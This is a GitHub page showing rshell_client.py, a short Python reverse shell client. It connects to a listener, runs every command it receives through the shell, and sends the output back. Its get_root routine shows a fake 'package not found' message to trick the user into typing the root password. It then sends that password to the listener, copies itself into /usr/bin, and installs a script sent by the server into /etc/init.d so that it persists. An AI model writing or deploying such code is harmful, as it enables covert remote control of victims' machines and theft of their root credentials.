-
Notifications
You must be signed in to change notification settings - Fork 0
/
rshell_client.py
49 lines (41 loc) · 1.75 KB
/
rshell_client.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
#-*- coding:utf-8 -*-
import socket,subprocess,getpass,os
def connection():
host = "127.0.0.1"
port = 8080
buff = 2048
global client_socket
client_socket = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
client_socket.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR, 1)
client_socket.connect((host,port))
get_root()
while True:
received_data = client_socket.recv(buff)
if received_data == 'quit' :
client_socket.close()
else :
command = subprocess.check_output(received_data, shell=True)
if not command:
client_socket.send("Command succesfully executed.")
else:
client_socket.send(str(command) + "\nCommand succesfully executed.")
def get_root():
control = 0
while control == 0:
prompt = "Python built-in package \"colorize\" not found. Trying to install...\nRoot password required: "
password = getpass.getpass(prompt)
usr_bin_cp = "echo %s | sudo -S cp rshell_client.py /usr/bin" %str(password)
command1 = subprocess.check_output(usr_bin_cp, shell=True)
control_file = os.path.exists("/usr/bin/rshell_client.py")
if control_file == True:
client_socket.send("g0t r00t!\nP4SSW0RD:" +str(password + "\n" +str(client_socket.getpeername())))
daemon = client_socket.recv(2048)
fileopen = open("daemonize.sh","w")
fileopen.write(daemon)
fileopen.close()
daemonize_cp = "echo %s | sudo -S cp daemonize.sh /etc/init.d/" %(str(password))
subprocess.check_output(daemonize_cp,shell=True)
control = 1
else:
password = getpass.getpass("Sorry,wrong password.Try again.\n")
connection()